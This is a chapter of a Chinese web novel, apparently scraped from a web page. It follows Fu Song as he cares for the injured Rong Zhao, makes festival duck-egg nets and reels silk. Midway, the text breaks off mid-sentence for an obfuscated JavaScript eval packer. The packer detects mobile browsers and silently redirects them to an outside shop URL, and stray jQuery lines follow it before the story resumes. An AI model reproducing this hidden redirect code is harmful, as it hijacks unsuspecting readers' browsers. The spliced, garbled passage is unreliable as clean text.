拿着前些日子染过色的棉线回到卧房,扶颂在窗边的梳妆案几前坐下,慢条斯理的整理棉线准备打络子。
他背对着她,荣昭嘴里含糊不清:“颂颂,我要喝水。”
“好。”扶颂起身去外间倒了杯水茶水放到她手边,然后继续理棉线。
荣昭喝完水,又吃了几口面:“颂颂,我还想喝水。”
“好。”扶颂直接把外间的茶壶拿进来,给她斟满水,又坐回案几前。
“颂颂,没水了。”
案几前的人噌地起身,夹起她碗里的面吃了一口,满眼疑惑:“面的味道正好呀,没多放盐。”
荣昭低下头,手里攥着筷子不说话,她是觉得扶颂从回来就怪怪的,想着捉弄一下,免得他总是胡思乱想。
“喝多了水待会儿解手都来不及。”见荣昭心虚,他凉凉地说了一句,拿着茶壶走了。
茶壶重新装好水置于小几上,扶颂径直坐到床边,守着她吃面,看荣昭行动不便的样子,他接过筷子夹起面吹凉递到她嘴边。
荣昭没再说要喝水,她咀嚼完一口立马就有下一口送到她嘴里,直到面吃完都没再喝水。
“我给你拿两本书看看解解闷?”扶颂收拾着碗筷,刻意不看她的脸。
“行。”
她盯着面前人的一举一动,这人……对她好像完全不同了,就像本是她陷阱里的兔子,带回家养了两天,忽然把自己当作主人了,敢给她脸色看。
荣昭歪着头瞧他,心里倒是很得意,兔子也是有脾气的,这样很好。
扶颂给她找来之前还没看完的手札,等她安心看书了,重新坐回窗前,白棉线被他用草木染料过了一遍,晾晒后变成五彩线,手指翻飞片刻,初具络子雏形。
看了没两页,荣昭觉得没意思,又咂摸着开口:“颂颂你在做什么?”
“做鸭蛋络子,后日端午去镇上卖一卖看看。”扶颂头也不回地打络子。
五彩线编成鸭蛋大小的小网兜,顶端一个活扣,方便放取鸭蛋,末端坠着花结,正好挂在身上避灾祸保平安。端午节身上挂个五色鸭蛋做装饰,是燕武国流传百年的习俗。
“不上学吗?”荣昭翻了一页书。
“夫子说端午放五日假。”扶颂剪断络子末尾,一个完整的鸭蛋络子就做好了。
他拿起来端详,左右看看是否有没做好的地方,“正好在家照顾你,我想着让念安跟谭顺去念书,我再请一些时日的假,等你好些了我再去私塾。”
“不好吧?”荣昭又翻了一页书,“那不是耽误你用功了吗?”
“我让念安回来给我讲是一样的,夫子说他记性好,让他讲一遍等于温习功课。”
扶颂脑子里乱,可手上的动作一点儿也不乱,不多时,筐子里装了二三十个鸭蛋络子。
“颂颂,书不好看。”荣昭叫他。
“闭上眼睡一会儿?”
身后没了动静,扶颂当她睡着了,不过片刻,床榻上的人又叫他:“颂颂,我睡不着。”
扶颂没回答她,等手上的络子收尾,剪下来一截丢过去。
“练翻花绳,打络子都行。”
行吧,她自己折腾。太久没有打过络子,手生,前后拆了两遍才弄出成品,荣昭看来看去觉得有点丑,随手一抛不管了。
一大卷五彩棉线经过他的手,变成一个个精致的络子,扶颂站起身活动略僵硬的身体,走到床边发现荣昭抱着他的枕头睡着了,替她将脸上的发丝拨到耳后,他站着看了她一会儿。
良久,他捡起地上的络子放进怀中,轻手轻脚退了出去。
雨后初霁,恰逢傍晚时分,绛纱色的云霞与薄缥色的天交错绚丽,树梢摆动成风的形状,晚风轻柔。
扶念安正摇头晃脑的背声律启蒙,扶颂听了半晌,恍惚听见敲门声,走出屋子看见谭静阳正栓马。
“敲了门,没人应,我就自己进来了。”谭静阳递给他几帖药,“荣昭的药,她现在怎么样?”
“吃过饭睡下了。”
扶颂接过药欲走,谭静阳又叫住他:“这次打猎换的银子,你转交给她,明日我来帮你们做些杂活。”
“多谢谭娘子。”扶颂收下钱袋,说话的语气不冷不热,“让谭顺来看顾扶念安就好了,不劳烦您。”
“好,我先走了。”
谭静阳知晓扶颂心有怨怼,自己理亏便没多言,熟练地牵出马厩里的马,把驴赶进去,对扶颂笑笑算是打招呼,牵着两匹马走了。
扶颂立于蓝花楹树下,心想自己方才对谭静阳是否太不客气了些,她是荣昭的同伴,多年情谊摆在那儿。
此次意外若换成是她为救荣昭受了伤,谭静阳的夫郎像他这般,荣昭又会是何种心情。
似乎不该这样对她的,也不该怪她。
在厨房同扶念安吃过夕食,再用火煨上药,扶颂去瞧了一眼荣昭,喝过药后睡得还算安稳。
蹑手蹑脚替她抚平眉心掖好被角,回到吃饭的桌子前,扶念安正奋力研墨,手腕染了墨迹都没发现。
“手上有墨,当心别污了纸。”扶颂轻声叮嘱他,拿过裁纸刀将整张的麻纸裁成巴掌大。
扶念安转动手腕看到那处墨迹,把砚台往回拉了一下。
前日去南纸店,里面文房四宝琳琅满目,上等到次等的价格差距甚大,他只敢站在柜台背起两只手张望。
阿舅看来看去只选了张次等麻纸,不到三尺要价六十文,这价格够买十尺草纸练上几个月了。
“我会当心的。”
裁好麻纸,扶颂开始蘸墨水写字,他刚开始学写字,握笔姿势不熟练,写得不好,甚至遇到复杂些的字都要琢磨半天如何下笔。
但他最不缺的就是时间,写得慢一些总是可以勉强分辨的。
“阿舅,你写好一点。”扶念安放下墨条,凑过去一看,什么澡豆什么什么,后面看不太清。
墨水顺笔尖滑落纸上,上面的字被完全晕染看不清了,扶颂叹了口气:“那要不你来?”
“不了不了,我今日练过大字了,你来。”扶念安捂住小嘴巴摇摇头,他可不敢写坏这么贵的纸。
扶颂擦了把汗,就这么着吧,大不了给客人的时候多解释两句。毕竟秦淮看了甥舅二人难分伯仲的字也头疼,总让他们多练字。
忙活到亥时二刻,扶颂从那堆写好的纸里面,挑挑拣拣选了五十来张,和鸭蛋络子放到一块儿。
剩下的废纸着实见不得亲戚,他打算全部收起来用背面练大字,扶念安直夸他俭省,边打哈欠边收拾东西。
整理完东西,东屋的灯已经灭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590837|204133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,扶颂从厨房取来汤药,轻声唤醒荣昭。
睡得正酣的荣昭被叫醒半坐着,双眼迷蒙看他一眼,手撑住身旁两侧尽量不让自己倒下。
“喝了药再睡呢。”他转个身的功夫,荣昭脑袋晃晃悠悠的,又想睡过去。
扶颂揽住荣昭肩膀,把碗递到她唇边,“醒醒。”
“醒……醒着呢。”
荣昭脑子还是一团浆糊,半坐起来想下床,小腿传来钝痛才反应过来自己受伤了。
汤药冲鼻的苦涩让她清醒几分,接过碗咕咚咕咚两口喝完,扶颂接过空碗递来一杯茶水让她漱口。
一番折腾下来,荣昭睡意全无,借着微弱的油灯看扶颂解衣裳。
不得不说,他的手是她见过最好看的手,解衣裳脱衣裳挂衣裳,每一根手指的角度都恰到好处,不论长短粗细。
领口松散露出一小片胸膛,肌肤竟然比手还要白上几分,挂衣裳的时候脖颈仰起,喉结微凸,下颌削瘦。
还是得多吃点东西把之前亏的都补回来才行。
扶颂穿着里衣走过来捂住她眼睛,那道灼人的视线终于被阻隔,浑身不自在的感觉散去些许。
他喝了口床头的茶水,湿润嗓子后问她:“瞧什么呢?还不想睡吗?”
“在看你。”荣昭没拿开他的手,捏住他袖子一角揉搓,“你平日里要多吃点,太瘦了像我亏待你。”
不等他回答,她又接着说,“接了点澡豆的活儿,明日里我做的时候顺便给你做点沐发的吧?”
他的头发像枯草般没有养分,每次她瞧他绞头发,火光映照到的那一截发黄,若是用她特调的方子,不日就能养得油黑顺滑。
扶颂吹灭油灯,松开手翻进里侧,思及她夜里睡觉爱翻身,于是帮她把被子拨到一边,避开右腿。
“好,我会努力多吃点。”
“睡吧。”
荣昭左手来回寻摸,指尖攥住扶颂袖口酝酿睡意,贵价料子确实不一样,触感细腻很轻薄。
指尖不慎划过他的手腕,惊得她顿时松了手,又过了一会儿,身旁的人没动,她再次摸上袖口。
直到荣昭睡着,扶颂回握她的手腕,头往她的方向挪了挪,也沉沉睡去。
天刚亮,扶颂动作轻缓地拿开荣昭的手,穿好衣裳洗漱,昨日淋雨虽及时换了衣裳,没着凉但鼻子有些齉齉的。
鼻子发痒,他不禁打了个喷嚏,架锅的手一抖,险些打翻。
今日天气好,得把昨日分拣的蚕茧抽丝,工程量巨大,他要忙活许久。
锅里水开之后,雪白的蚕茧如同下饺子掉进沸水里,再把桑枝做的抽丝车放到锅的上方,抽丝车是他自己琢磨的,做了两个滚轮,比一般抽丝车快许多。
用筷子搅动一番,蚕丝便附着到筷子上,每六丝拧作一股,穿过抽丝车上固定,转动抽丝车,锅里的蚕茧越变越小,片刻之后,锅里的蚕茧所剩无几。
他没放下一锅蚕茧,而是拿出一把漏斗形状的木架,取下抽丝车上的蚕丝绕上去,双手翻动,蚕丝被理成方便拿取的线圈。
将理好的蚕丝取下,左右手往相反的方向转动,一把蚕丝被他拧成麻花状放进晒簟等待染色,如此重复工序拧好每一支蚕丝。
日头渐高,他的额头已冒出细汗,蚕茧还剩大半。